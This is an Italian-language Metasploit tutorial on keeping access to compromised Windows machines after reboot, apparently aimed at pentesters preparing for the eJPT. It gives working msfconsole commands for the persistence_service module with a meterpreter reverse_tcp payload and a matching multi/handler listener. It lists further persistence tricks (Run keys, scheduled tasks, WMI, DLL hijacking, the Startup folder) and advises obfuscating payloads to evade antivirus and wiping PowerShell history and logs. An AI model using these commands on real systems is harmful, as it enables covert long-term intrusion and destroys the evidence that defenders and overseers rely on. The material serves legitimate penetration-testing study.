Guida alla Persistenza su Windows con Metasploit Framework
Nel contesto del post-exploitation su sistemi Windows, una delle fasi più critiche è l'establishing persistence, ovvero la capacità di mantenere l'accesso ad una macchina compromessa anche dopo il ria
Guida alla Persistenza su Windows con Metasploit Framework
Introduzione
Nel contesto del post-exploitation su sistemi Windows, una delle fasi più critiche è l'establishing persistence, ovvero la capacità di mantenere l'accesso ad una macchina compromessa anche dopo il riavvio del sistema. In questa guida, approfondiremo l'utilizzo del modulo exploit/windows/local/persistence_service di Metasploit per creare un servizio persistente, oltre a integrare altre tecniche e best practice per garantire una presenza duratura all'interno del target compromesso.
Obiettivi della guida
- Comprendere l'uso del modulo
persistence_service
- Configurare correttamente un listener per mantenere l'accesso
- Approfondire altre tecniche comuni di persistenza su Windows
- Best practice per l'evasione e l'occultamento
1. Utilizzo del modulo exploit/windows/local/persistence_service
Descrizione
Il modulo persistence_service permette di installare un servizio Windows che esegue un payload predefinito ogni volta che il sistema si avvia, garantendo accesso continuo all'attaccante.
Comandi Metasploit:
use exploit/windows/local/persistence_service
set SESSION <id_sessione>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT <porta>
runSESSION: ID della sessione meterpreter attiva
PAYLOAD: deve essere coerente con quello del listener
LHOST/LPORT: devono coincidere con quelli del multi/handler
2. Configurazione del listener
Dopo aver configurato la persistenza, bisogna predisporre un listener in attesa della connessione in ingresso. Questo si realizza con il modulo exploit/multi/handler:
Comandi Metasploit:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT <porta>
run✅ Assicurati che PAYLOAD, LHOST e LPORT coincidano esattamente con quelli usati nel servizio di persistenza.
3. Altre Tecniche di Persistenza su Windows
| Tecnica | Descrizione |
| Chiavi Run/RunOnce | Inserimento del payload nei registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Scheduled Tasks (schtasks) | Creazione di un'attività pianificata per lanciare il payload periodicamente o all'avvio |
| WMI Event Subscription | Utilizzo dei consumer WMI per iniettare codice quando si verifica un evento |
| DLL Hijacking | Sfruttamento di programmi che caricano DLL da percorsi insicuri |
| Startup Folder | Copia di un file eseguibile nella cartella %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup |
4. Best Practice & Note Operative
- Evasione AV: Obfuscate il payload usando strumenti come
msfvenom,Veil,Shellteroobfuscator-llvm
- Privilege escalation: Prima di impostare la persistenza, valuta se è necessario elevare i privilegi per garantire l'esecuzione del servizio
- Pulizia dei log: Rimuovi tracce dai log eventi e da PowerShell (comando:
Clear-History,Remove-Item $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt)
- Validazione: Riavvia la macchina target per confermare l'effettiva esecuzione automatica del servizio
Conclusione
L'uso del modulo exploit/windows/local/persistence_service di Metasploit rappresenta un metodo rapido ed efficace per ottenere persistenza su sistemi Windows. Tuttavia, è fondamentale conoscere anche metodi alternativi per garantirsi accessi affidabili, adattandosi alla configurazione del sistema target e adottando tecniche di evasione per mantenere la discrezione.
La padronanza di queste tecniche è cruciale sia in un contesto di penetration testing etico, sia nella preparazione per certificazioni come l'eJPT.